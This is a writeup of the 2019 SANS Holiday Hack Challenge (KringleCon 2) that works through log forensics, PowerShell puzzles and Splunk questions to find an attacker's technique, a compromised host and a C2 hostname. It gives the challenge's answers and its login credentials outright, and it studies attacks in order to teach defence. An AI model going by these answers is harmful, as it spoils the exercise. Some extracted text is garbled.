KringleCon 2: Turtle Doves - John Hammond

164
KringleCon : Turtle Doves A Holiday Hack Challenge Writeup John Hammond --

Transcript of KringleCon 2: Turtle Doves - John Hammond

KringleCon 2: Turtle Doves

A 2019 Holiday Hack Challenge Writeup

John Hammond

2020-01-13

Contents

1 Introduction 5

2 Playthrough 62.1 The Beginning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62.2 Exploring The Quad . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

2.2.1 Objective #0 - Talk to Santa in the Quad . . . . . . . . . . . . . . . . . . . . . 82.3 Finding the Two Turtle Doves . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

2.3.1 Objective #1 - Find the Turtle Doves . . . . . . . . . . . . . . . . . . . . . . . . 92.4 Back to The Quad . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

2.4.1 Objective #2 - Unredact Threatening Document . . . . . . . . . . . . . . . . . 112.5 Visiting Bushy Evergreen in the Train Station . . . . . . . . . . . . . . . . . . . . . . . 13

2.5.1 Escape Ed - Bushy Evergreen’s Cranberry Pi . . . . . . . . . . . . . . . . . . . 142.5.2 Objective #3 - Windows Log Analysis: Evaluate Attack Outcome . . . . . . . . . 17

2.6 Heading to Hermey Hall to see SugarPlumMary . . . . . . . . . . . . . . . . . . . . . 192.6.1 Linux Path - SugarPlumMary’s Cranberry Pi . . . . . . . . . . . . . . . . . . . 202.6.2 Objective #4 - Windows Log Analysis: Determine Attacker Technique . . . . . . 24

2.7 Finding Sparkle Redberry in The Laboratory . . . . . . . . . . . . . . . . . . . . . . . 252.7.1 Xmas Cheer Laser - Sparkle Redberry’s Terminal . . . . . . . . . . . . . . . . . 272.7.2 Objective #5 - Network Log Analysis - Determine Compromised System . . . . 38

2.8 Going Back to Santa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 392.9 Returning to The Laboratory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41

2.9.1 Objective #6 - Splunk . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422.9.2 Training Question #1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 462.9.3 Training Question #2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 462.9.4 Training Question #3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 472.9.5 Training Question #4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 492.9.6 Training Question #5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 502.9.7 Training Question #6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 522.9.8 Training Question #7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 532.9.9 Capstone Question . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53

2

KringleCon 2: Turtle Doves 2020-01-13

2.9.10 Frosty Keypad - Tangle Coalbox’s Challenge . . . . . . . . . . . . . . . . . . . 552.10 Entering The Dormitory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59

2.10.1 Holiday Hack Trail - Minty Candycane’s Cranberry Pi . . . . . . . . . . . . . . . 592.10.2 Objective #7 - Get Access To The Steam Tunnels . . . . . . . . . . . . . . . . . 63

2.11 Quick detour to the Speaker Unpreparedness Room . . . . . . . . . . . . . . . . . . . 732.11.1 Nyanshell - Alabaster Snowball’s Cranberry Pi . . . . . . . . . . . . . . . . . . 742.11.2 Objective #8 - Bypassing the Frido Sleigh CAPTEHA . . . . . . . . . . . . . . . 79

2.12 Going back to the Steam Tunnels . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 862.12.1 Graylog - Pepper Minstix’s Cranberry Pi . . . . . . . . . . . . . . . . . . . . . . 872.12.2 Question #1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 892.12.3 Question #2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 902.12.4 Question #3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 902.12.5 Question #4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 912.12.6 Question #5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 922.12.7 Question #6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 932.12.8 Question #7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 932.12.9 Question #8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 942.12.10 Question #9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 952.12.11 Question #10 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 952.12.12 Objective #9 - Retrieve Scraps of Paper from Server . . . . . . . . . . . . . . . 98

2.13 Stopping by the NetWars room . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1082.13.1 Mongo Pilfer - Holly Evergreen’s Cranberry Pi . . . . . . . . . . . . . . . . . . 1092.13.2 Objective #10 - Recover Cleartext Document . . . . . . . . . . . . . . . . . . . 114

2.14 Returning to the Student Union . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1242.14.1 Smart Braces - Kent Tinseltooth’s Cranberry Pi . . . . . . . . . . . . . . . . . . 1242.14.2 Objective 11 - Open the Sleigh Shop Door . . . . . . . . . . . . . . . . . . . . . 1292.14.3 Lock #1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1302.14.4 Lock #2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1312.14.5 Lock #3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1322.14.6 Lock #4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1322.14.7 Lock #5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1332.14.8 Lock #6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1342.14.9 Lock #7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1342.14.10 Lock #8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1352.14.11 Lock #9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1352.14.12 Lock #10 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136

2.15 Into the Sleigh Shop . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1412.15.1 Zeek JSON Analysis - Wunorse Openslae’s Cranberry Pi . . . . . . . . . . . . . 143

John Hammond 3

KringleCon 2: Turtle Doves 2020-01-13

2.15.2 Objective #12 - Filter Out Poisoned Sources of Weather Data . . . . . . . . . . 1462.16 Entering the Bell Tower . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157

3 Thank You 164

John Hammond 4

1 Introduction

This year, I completed 100% of the SANS Holiday Hack Challenge. I have been playing the Holiday HackChallenge since 2015, but I have only fully completed the challenge once before in 2017. I was verypleased to be a part of KringleCon, and help save Christmas this year!

This is the information text given to start interacting within the KringleCon world.

Figure 1.1:Welcome

5

2 Playthrough

For screenshots, I removed all other players with this JavaScript in the browser’s Developer Tools:

var els = document.getElementsByClassName("player")Array.prototype.forEach.call(els, function(el){ el.hidden=true })$('.me').hidden = false

2.1 The Beginning

The challenge begins with my character spawned in the Train Station, with Santa standing there, jollyas ever, and Bushy Evergreen in the corner beside a Cranberry Pi.

Figure 2.1: The Train Station

6

KringleCon 2: Turtle Doves 2020-01-13

First, I began by talking with Santa. He explained that this year, KringleCon was being hosted at ElfUniversity! With his instruction to explore, I assumed the rest of the venue was north, so I hoppedover there!

Figure 2.2: Talking with Santa

2.2 Exploring The Quad

A�er walking north, I entered The Quad and I noticed a new Objective was unlocked!

John Hammond 7

KringleCon 2: Turtle Doves 2020-01-13

2.2.1 Objective #0 - Talk to Santa in the Quad

Figure 2.3: Objective #0 - Talk to Santa in the Quad

Santawas now standing there, and following the prompt, I went to speak with him.

Figure 2.4: Our Mission

Now a�er speaking with Santa, a flurry of new Objectives were unlocked. He explained that the TwoTurtle Dovesweremissing, and it was up to us to find them! He also described howwe could see theseobjectives by looking at our badge, and advised we should come chat with him a�er we had completedObjectives 2-5. Additionally, he explained that the elves would o�er hints for these tasks, if we couldhelp them solve their problems with a Cranberry Pi!

At this point I completed Objective #0, Talk to Santa in the Quad.

John Hammond 8

KringleCon 2: Turtle Doves 2020-01-13

2.3 Finding the Two Turtle Doves

I am going to write this report in the order of the objectives, with a streamlined process to solve eachtask. As I have already completed the storyline, I know the Two Turtle Doves are north, in the StudentUnion.

Figure 2.5:Moving to the Student Union

2.3.1 Objective #1 - Find the Turtle Doves

Figure 2.6: Objective #1 - Find the Turtle Doves

I moved north to find the Two Turtle Doves.

Inside of the Student Union there were vendor booths for SANS, Google, Splunk, even a Swag Boothfor KringleConmerchandise and a wonderful fireplace.

John Hammond 9

KringleCon 2: Turtle Doves 2020-01-13

Along the rightmost corner I could see the elf Shinny Upatree, guarding a door with a sign for theSleigh Shop. In the center I found the elf Kent Tinseltooth and his Cranberry Pi, along with – lo andbehold, the Two Turtle Doves!

Figure 2.7:Michael and Jane – the Two Turtle Doves

At this point I completed Objective #1, Find the Turtle Doves.

Figure 2.8: Completed Objective #1

2.4 Back to The Quad

I went back in to The Quad to tell Santa that I had found the doves, but he said nothing new – I guesshe wasn’t too impressed. Regardless, I still had objectives to complete, so I remained in The Quad andgot started on Objective #2!

John Hammond 10

KringleCon 2: Turtle Doves 2020-01-13

2.4.1 Objective #2 - Unredact Threatening Document

Figure 2.9: Objective #2 - Unredact Threatening Document

Noting the prompt for this objective, I looked for “the letter” in The Quad. A�er some searching, Ifound it in the northwestern-most corner.

Figure 2.10: I found the Letter

John Hammond 11

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.11: The Letter

I noticed that this was contained as a PDF file, available for download at the link:

https://downloads.elfu.org/LetterToElfUPersonnel.pdf

With that in mind, I knew I could use some pdftools on it and potentially recover the redactedinformation!

I went right to work with pdftotext.

John Hammond 12

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.12: The extracted text of the letter

The objective prompt was asking for the first word in ALL CAPS in the subject line of the letter. Carvingout just the text of the letter with pdftotext, I could see it clearly! With a bit more command-lineprecision I could receive just the answer like so:

pdftotext LetterToElfUPersonnel.pdf - | grep -oE [A-Z]{2}+ | head -n 1

The answer for Objective #2 is:

DEMAND

2.5 Visiting Bushy Evergreen in the Train Station

For Objective #3, the prompt explained I could get some assistance from Bushy Evergreen, who I sawin the Train Station. For completeness, I would like to include the Cranberry Pi terminal challenges inthis report. So, I went back to the Train Station!

Upon speaking with Bushy Evergreen, she needed help exiting the ed text editor!

John Hammond 13

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.13: Bushy Evergreen’s Troubles

2.5.1 Escape Ed - Bushy Evergreen’s Cranberry Pi

I fired up the Cranberry Pi and noticed that I was immediately thrown into the ed editor.

I would like to say this challenge took some research and personal development, hunting downresources and learningmaterial across the Internet – but admittedly I just fumbled about and triedthings that I would expect to help quit a command-line editor.

John Hammond 14

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.14: Inside the ed Editor

I solved the challenge by simply entering q on a line by itself.

Figure 2.15: Exiting Ed

John Hammond 15

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.16: Completed the Escape Ed Cranberry Pi Challenge

Now that I had completed the Escape Ed Cranberry Pi challenge, I had helped Bushy Evergreen – andshe could help me! I spoke with her once more.

Figure 2.17: Bushy Evergreen suggests DeepBlueCLI

John Hammond 16

KringleCon 2: Turtle Doves 2020-01-13

2.5.2 Objective #3 - Windows Log Analysis: Evaluate Attack Outcome

Figure 2.18: Objective #3 - Windows Log Analysis: Evaluate Attack Outcome

Following Bushy Evergreen’s advice, I knew I wanted to run DeepBlueCLI for this objective, so I firedupmyWindows 10 VM to run the tool within PowerShell.

Noting the objective prompt, I downloaded the event log data like so:

Invoke-WebRequest "https://downloads.elfu.org/Security.evtx.zip"-OutFile "Security.evtx.zip"

I could see this was a ZIP archive, so continuing with PowerShell:

Expand-Archive "Security.evtx.zip"

And similarly, to get DeepBlueCLI easily o� of the Github repository:

Invoke-WebRequest"https://github.com/sans-blue-team/DeepBlueCLI/archive/master.zip"-OutFile "DeepBlueCLI.zip"

Expand-Archive "DeepBlueCLI.zip"

A�er reading through the manual for DeepBlueCLI, I could see its usage was very simple. I just neededto tell the tool that I was giving it a “Security” log and then o�er it the file.

It took a second for it to run, but eventually I had tons of output!

John Hammond 17

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.19: Running DeepBlueCLI

I scrolled through this for some time, but quickly noticed the tool had foundmultiple logins for a fewaccounts.

Figure 2.20: Finding supatree user with multiple logins

I noticed supatree as a username with multiple logins, and I thought that might be an elf account.Turns out, it was the correct answer to Objective #3!

The answer for Objective #3 is:

supatree

John Hammond 18

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.21: Completed Objective #3

2.6 Heading to Hermey Hall to see SugarPlumMary

For Objective #4, it is suggested to visit SugarPlumMary for some tips and advice. She is located inHermey Hall, which I found to be the at the western side of The Quad.

Figure 2.22: Heading to Hermey Hall

Inside of Hermey Hall, I could see The Laboratory o� to the le�, a room for NetWars as well as theSpeaker Unpreparedness Room in the center, and the KringleCon Speaker Agenda and all the talktracks o� to the right. Also, right in the middle of the roomwas none other than SugarPlumMary andher Cranberry Pi!

John Hammond 19

KringleCon 2: Turtle Doves 2020-01-13

2.6.1 Linux Path - SugarPlumMary’s Cranberry Pi

Figure 2.23: Inside of Hermey Hall

Figure 2.24: SugarPlumMary’s Woes

John Hammond 20

KringleCon 2: Turtle Doves 2020-01-13

I chatted with SugarPlumMary to find out what the problems were, and it sounded like her terminalwas acting up. I took a look at the Cranberry Pi.

Figure 2.25: Linux Path Cranberry Pi

Following the instructions, I tried to simply run the ls command as the prompt suggested. But,something was wrong!

Figure 2.26: Bad ls command!

With that, I thought it might be a di�erent ls executable than I expected. So I checked where that wasin our filesystemwith the which command.

Figure 2.27: Running which on ls

John Hammond 21

KringleCon 2: Turtle Doves 2020-01-13

I noticed that is certainly not the default PATH for the normal ls command. I wanted to check if thatwas a binary being ran, so I checked that path with the file command. Turns out it was just a simplescript – it completely nerfed the ls command!

Figure 2.28: Viewing the bad ls command

Now I confirmed that ls command was bad. I wanted to see if the real ls was still present on thesystem, so I searched for it. . . and found it! I simply executed it, and had solved the challenge!

Figure 2.29: Running the good ls command

John Hammond 22

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.30: Completed the Linux Path Cranberry Pi Challenge

Now that I had completed the Linux Path Cranberry Pi Challenge, I could ask SugarPlum Mary forsome tips on Objective #4!

Figure 2.31: SugarPlumMary’s Advice for Objective 4

John Hammond 23

KringleCon 2: Turtle Doves 2020-01-13

2.6.2 Objective #4 - Windows Log Analysis: Determine Attacker Technique

Figure 2.32: Objective #4 - Windows Log Analysis: Determine Attacker Technique

This seemed to be just a JSON file, which I couldworkwithwell enough onmy Linux host, so I remainedin my Ubuntu bash terminal.

I downloaded the normalized Sysmon logs like so:

wget "https://downloads.elfu.org/sysmon-data.json.zip"

And extracted the file out:

unzip "sysmon-data.json.zip"

Finally I began to explore through the logs:

cat sysmon-data.json | less

I could see lots of entries for wevtutil, which I knewwere just looking through andmanaging theWindows Event Viewer logs. I also saw some peculiar PowerShell, and spent some time taking it out ofits Base64 and Gzipped form.

John Hammond 24

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.33: Interesting ntdsutil.exe entry

I had not seen ntdsutil.exe before, and a�er doing some research I learned that it would providemanagement functionality for Active Directory services. I noticed that it followed the lsass.exeprocess, and I thought that was a bit suspicious.

I submitted the answer, and ntdustilwas accepted!

The answer for Objective #4 is:

ntdsutil

Figure 2.34: Completed Objective #4

2.7 Finding Sparkle Redberry in The Laboratory

Objective #5 suggested I visit Sparkle Redberry in The Laboratory. I remember seeing that o� to thele� inHermey Hall, so it was a quick and easy jaunt over there.

John Hammond 25

KringleCon 2: Turtle Doves 2020-01-13

Inside of The Laboratory, I found Professor Banas seemingly safeguarding a few servers, A XmasCheer Lazer firing against a miraculously-unmelted snowman, and Sparkle Redberry.

Figure 2.35: Inside the Laboratory

I went right up and spoke to Sparkle Redberry.

Figure 2.36: Sparkle Redberry’s Problems

John Hammond 26

KringleCon 2: Turtle Doves 2020-01-13

2.7.1 Xmas Cheer Laser - Sparkle Redberry’s Terminal

Sounds like the Xmas Cheer Laser is not working as it should be. I took a look at the terminal to seewhat I could do.

Figure 2.37: Xmas Cheer Laser Prompt

It looks as though I was thrown into a PowerShell prompt, but I could see that I was inside of a Linuxfilesystem. I was running PowerShell on Linux!

It took me a bit to get used to this – I was repeatedly tripping over myself, typing ls instead of dir orcat instead of type. Those original UNIX commands did not seem to work.

According to the prompt, we could interact with the Xmas Cheer Laser by some API calls. There are acouple di�erent parameters that needed to be set, and we needed to get the laser back to the correctconfiguration.

I looked at the other information available to us with the command:

(Invoke-WebRequest -Uri http://localhost:1225/).RawContent

There were a lot of di�erent options that needed to be set.

First of all, the laser needed to be turned on, and we needed to set specific values for the refractionvalue, the temperature, themirror angle and evenmultiple values for the gaseous elements mixture.

John Hammond 27

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.38: Xmas Cheer Laser Web API

So it was mymission to track down all of these di�erent values, all scattered somewhere within thefilesystem, like a sort of PowerShell scavenger hunt!

First, I checked that /home/callingcard.txt file that the prompt referred to.

John Hammond 28

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.39: callingcard.txt

This was clearly hinting towards looking at command history.

Thankfully, this is very easy to do within PowerShell, just using the Get-History cmdlet.

Figure 2.40: Get-History

In the 7th entry I could see the proper setting of the angle property. It also seemed that there was somemore information in the 9th entry, but it was truncated.

I retrieved the full output of each entry with Get-History | Format-List *.

John Hammond 29

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.41: Full history message

This was a short riddle, that I made sense of like so: “system-wide name=value variables” must refer toenvironment variables, and “once you Get my Child Items [I will reveal my secrets at a command]”. . .we needed to run Get-ChildItem on the Env: PS drive!

Figure 2.42: Environment variables riddles

Again, I encountered another riddle truncated. I expanded it with | Fl * oncemore (Fl being thealias for Format-List).

John Hammond 30

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.43: Full environment variable riddle

This is another breadcrumb! It sounds as though there is a compressed file somewhere in /etc.Seemingly, I can track it down by finding the last file to be written to most recently.

I used the following syntax to fiso I expnd the file:

Figure 2.44: Recursing through /etc

I thought this was an odd file to be working with, but I copied it over to my current directory to tinkerwith. Considering it was named archive, I suppose it did match the riddle hint: “squeezed andcompressed. . .” so I expanded the archive!

John Hammond 31

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.45: Expanding /etc/apt/archive

Looks like there was a new riddle inside that, too.

Figure 2.46: The new archive riddle

So I needed to track down a file with a specific MD5 hash, “shallow” in the “depths” of my “elf home.”I could make sense of that – I saw a depths folder in the default home directory, that looked like alarge tree of folders.

But, before I went tackling the next riddle, I wanted to do something with this runme.elf file whichmay very well have the proper setting for the refraction property!

I experimented a bit (literally type-d the file out, because I couldn’t see the real file magic informationwith a command like file), and I confirmed it was a binary – as expected by the .elf su�ix. It was aLinux executable!

John Hammond 32

KringleCon 2: Turtle Doves 2020-01-13

I tried to run it with a typical “dot-slash” ./runme.elf. . . but it returned an error, No such fileor directory. Honestly, I didn’t knowwhy thiswashappening, and itwasveryannoying. I struggledwith this forway too long.

A�er bumping around for a few hours, I checked the /bin directory to see what commands wereaccessible to me. Since I kept fumbling with the cat command and ls comand when they weren’treally there, I wanted to see what Linux commands I did in fact have access to.

Out of the corner ofmy eye, I saw thechmod command, and I hit my desk. Oh, duh! The binarywouldn’trun because it wasn’t marked as executable!!

Figure 2.47: Executing runme.elf

Now I had another value, and another piece of the puzzle. I could revisit the new riddle to see where togo next.

This riddle said,

Very shallow I am in the depths of your elf home. . .

. . . and I could tell this was referring to the /home/elf directory. In there was the depths folderthat had a ton of other subdirectories. . . but the target file was “shallow” within the depths, so not toomany layers within the subdirectories. And I had an MD5 hash to search for!

So, I used the Recurse parameter with the Get-ChildItem cmdlet (dir as the alias) with theDepth argument to limit it the results to just the “shallow” directories.

Then, for each result (using the % character alias as the foreach loop), I MD5-hashed the file andchecked if it matched the given hash. Ultimately my syntax looked like:

Figure 2.48: Finding the mystery file

With that, I found the file. I checked the contents, retrieved another value and found yet anotherriddle!

John Hammond 33

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.49: The next riddle

Now I was searching oncemore within the depths folder, but this file was in the deepest subdirectory.So, I first found the directory with this syntax (I used the gci alias for Get-ChildItem this time):

Figure 2.50: Finding the deepest directory in the depths

I checked the directory listing in the that location, and thankfully there was only one text file. When Ilooked at the contents of that file, once again I hadmore tasking.

Figure 2.51: New tasking to stop processes

Seems like my job is to kill processes in a certain order, based o� of the usernames or usersthat started the process. I tinkered with this for a bit, because admittedly I was unaware of the-IncludeUserName parameter for the Get-Process cmdlet (or that the cmdlet didn’t even dothat originally)!

I knew I could do this by setting up an array, iterating through it and stopping the processes in thatspecific order. I did thiswith anotherForEach loop on each element in the list of usernames (using the% character alias again) and aWhere-Object to check for the proper username (with the? characteralias as well). My syntax for that looked like this:

John Hammond 34

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.52: Stopping processes in the specific order

Based o� of the original prompt, and its notation of “/shall/see”, I had a feeling a file would havebeen created a�er the successful termination of those processes. I checked if that file existed, and tooka look at the contents!

Figure 2.53: Onemore riddle

. . . Another riddle.

For this one, I needed to find an XML file inside of the /etc directory. I found this first with thiscommand-line syntax:

gci -File -Filter "*.xml" -Recurse -EA SilentlyContinue /etc

This found only one result:

/etc/systemd/system/timers.target.wants/EventLog.xml

Since we are working within PowerShell, we could do some cool things like importing the whole XMLfile as an object, so that we could then query attributes and properties and the data inside.

I did that like so:

$x = Import-Clixml /etc/systemd/system/timers.target.wants/EventLog.xml

Now I could group the objects by a specific property with the Group-Property cmdlet, and givenfrom the riddle prompt, I knew we are looking for one single, lonely ID.

John Hammond 35

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.54: Grouping the XML objects by the ID property

It was clear that the object with the Id value of 1 is what we were looking for. I pulled that out likeso:

$x | ? { $_.Id -eq 1 }

And with that I could see the information we needed.

Figure 2.55: The final properties we need

At this point, there did not seem to be any new riddles. . . and I had collected a good amount of valuesto use for the Xmas Cheer Laser. I took inventory of all that I had uncovered, and realized – I had themall!

Finally, I could make use of the API to set these specific values. Then, I could check the output of thelazer and could make sure it reached its goal! Ultimately, my commands looked like:

John Hammond 36

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.56: Xmas Cheer Laser Solution

Whew! That was a long Terminal challenge!

Now I could speak once more to Sparkle Redberry and ask for advice on Objective #5.

Figure 2.57: Sparkle Redberry’s Hints for Objective #5

John Hammond 37

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.58: Completed Xmas Cheer Laser

2.7.2 Objective #5 - Network Log Analysis - Determine Compromised System

Figure 2.59: Objective #5 - Network Log Analysis - Determine Compromised System

Sparkle Redberry subtly hinted towards “RITA,” a tool by Black Hills Information Security.

I trusted Sparkle Redberry that this would be a valuable asset for completing objective #5, so I wentahead and installed RITA.

I pulled RITA down from it’s Github repository, which you can find here:

https://github.com/activecm/rita

It took me a little bit of finagling to get RITA to install property. I needed a MongoDB installation set upfor it to work with, and I had no issue just throwing that into the mix. . .

sudo apt install -y mongodb-serversudo ./install.sh## I needed to uncomment the InternalSubnets at the bottomsudo subl /etc/rita/config.yaml

A�er I had RITA working, I could work with the Elf University Zeek logs!

John Hammond 38

KringleCon 2: Turtle Doves 2020-01-13

wget "https://downloads.elfu.org/elfu-zeeklogs.zip"unzip "elfu-zeeklogs.zip"

Now that I had the Zeek logs downloaded and accessible, I loaded them into RITA and discovered thefunctionality to show-beacons. I tried that, and found some worthwhile results!

rita import elfu-zeeklogs elfurita show-beacons elfu

I tried to “zoom in” on this a bit. . .

Figure 2.60: RITA found beacons

It seemed as though there were. . . a fewmachines that were compromised? In all honesty, I did a littleprocess of elimination, here. . . though, the IP address with the smallest amount of connections (960)was in fact the one that was o�icially compromised!

The answer for Objective #5 is:

192.168.134.130

Figure 2.61: Completed Objective #5

2.8 Going Back to Santa

At this point, I had completed objectives 2 through 5, and following Santa’s instructions, I was to gospeak with him once more!

John Hammond 39

KringleCon 2: Turtle Doves 2020-01-13

So I hobbled back outside to The Quad to chat with Santa, and. . . looks like we are not done yet! Wehave more objectives to complete!

Figure 2.62: Santa asks for Objectives #6 and #7

A�er his dialogue I saw another whirlwhind of Objectives unlocked within my badge. Now there were atotal of 12 objectives, rather than just five. . . so we were not even halfway done!

Time to get back to work!

John Hammond 40

KringleCon 2: Turtle Doves 2020-01-13

2.9 Returning to The Laboratory

The prompt for Objective #6 suggested I could gain a bit more insight into the challenge if I were tospeak with Professor Banas inside of The Laboratory.

I remember seeing him guarding some servers in the corner, so I went to say hello!

Figure 2.63: Professor Banas tells me about Splunk

As it turns out, Professor Banas’s computer is apparently the one that is compromised, and it iswreaking havoc! But, we can track downmore information with Splunk!

This sets the stage for Objective #6. Thankfully, Professor Banas o�ers the login to the challenge (alsoshown in the objective prompt) itself so we can get started.

John Hammond 41

KringleCon 2: Turtle Doves 2020-01-13

2.9.1 Objective #6 - Splunk

Figure 2.64: Objective #6 - Splunk

I got started by accessing the given link, and logging in with the given credentials: username elf andpassword elfsocks.

Figure 2.65: Accessing Splunk

Upon logging in, I was greeted with a strange new interface that I had never seen on Splunk before!Additionally, there was a small splash modal dialogue box that helped explain some of the details forthis objective.

John Hammond 42

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.66: Splunk Introduction

Ultimately, there was one capstone question, but along with it there were seven distinct “trainingquestions” that would help guide you to the answer. For completeness sake, I wanted to answer all ofthe training questions and slowly illuminate the answer. I will include these training questions andmyprocess for each in this report.

Inside of Splunk we seem to be shown a conversation between ourselves and Kent.

John Hammond 43

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.67: Conversation with Kent

John Hammond 44

KringleCon 2: Turtle Doves 2020-01-13

Following his instruction, we can view all of the “unread” chat messages that have a blinking redindicator. I started with the “Chat with #ELFU SOC”. That seemed to be a group chat with all themembers of the Elf University Security Operations Center.

Figure 2.68: Group Conversation with the ElfU SOC

John Hammond 45

KringleCon 2: Turtle Doves 2020-01-13

This conversation is interesting. It references the beaconing we sawwith RITA, and explains there issome machine “sweetums” that is also talking to the beacon server. Apparently, that is ProfessorBanas’s system!

Seems that Alice Bluebird takes over and chats with us individually, so we can see our conversationwith her.

That is a rather lengthy conversation, so I won’t include all of the screenshots here. She provides somefunny background on the characters at play, but explains our role: we are to use this Splunk instanceto track down what happened with Professor Banas’s system.

The final, capstone question is to find themessage for Kent that the adversary embedded in thisattack. But, if we would like to, we can work through the training questions. I’ll go for the trainingquestions!

2.9.2 Training Question #1

What is the short host name of Professor Banas’ computer?

We have already seen the answer to the first training question, as it was included in the groupmessageconversation with the members of the Elf University SOC.

The answer to the first training question is:

sweetums

Figure 2.69: Training Question #1 Complete

2.9.3 Training Question #2

What is the name of the sensitive file that was likely accessed and copied by the attacker? Pleaseprovide the fully qualified location of the file. (Example: C:\temp\report.pdf)

John Hammond 46

KringleCon 2: Turtle Doves 2020-01-13

The first training question did not require us to really use the Splunk interface whatsoever, but now, forquestion #2, we are getting to it!

Alice Bluebird provides more background to the story, but she suggests that perhaps looking for ausername in Splunk might yield some interesting results.

They o�ered a link to the Splunk interface searching with the term index=main cbanas, (cbanasbeing Professor Banas’s username), but I needed to tweak that to find somethingmore useful to us.

I searched for index=main santa.

In the very result, I could see a supplied argument with a filename that does in fact look sensitive!

Figure 2.70: Found the answer to Question #2

The answer to the second training question is:

C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt

Figure 2.71: Training Question #2 Complete

2.9.4 Training Question #3

What is the fully-qualifieddomainname(FQDN) of the commandand control(C2) server? (Example:badguy.baddies.com)

For this training question, Alice Bluebird discusses some of the use of PowerShell that I had seenwhilecombing through the Splunk data. She begins to introduce Sysmon, and howwe can use some specific

John Hammond 47

KringleCon 2: Turtle Doves 2020-01-13

Splunk queries tailored to searching through Sysmon data. This adds a lot more complexity to thesearch terms, but certainly makes it more powerful:

sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operationalpowershell EventCode=3

I looked through searches like this and dug through the more advanced information, held in theInteresting Fields and Selected Fields sections.

I used the exact search query above, and found the DestinationHostname in the InterestingFields.

The answer to the third training question is:

144.202.46.214.vultr.com

Figure 2.72: Training Question #3 Complete

John Hammond 48

KringleCon 2: Turtle Doves 2020-01-13

2.9.5 Training Question #4

What document is involved with launching themalicious PowerShell code? Please provide justthe filename. (Example: results.txt)

At this point, Alice Bluebird tells us we can do something very cool with the Splunk results we haveseen thus far. We have found some PowerShell, but we can trace this back to where the PowerShellreally “started”. Knowing what we know already, we can find the PowerShell process and then pivot ontime.

We can reverse the results, then limit our search to the time just before and a�er a specific event. Then,we can clean up our search query, and look at the other events that happens just as the PowerShellexecuted.

If we are looking for a document that might have acted as the stager (to start the PowerShell payload)it was probably opened as part of the Microso� O�ice suite. Since that needs a formal program to openthat file (PowerPoint, Word, Excel, etc.) we can count on a process being created.

So, we can hunt for Sysmon events or Windows Process Execution events in that time window!

Here is what I did:

I used the“pipe reverse”methodwithindex=main sourcetype="WinEventLog:Microsoft-Windows-Powershell/Operational" | reverse as a search query and I pivoted on timefor the first result – then, I removed sourcetype and | reverse and searched for source-type=WinEventLog EventCode=4688 to look for new process creations.

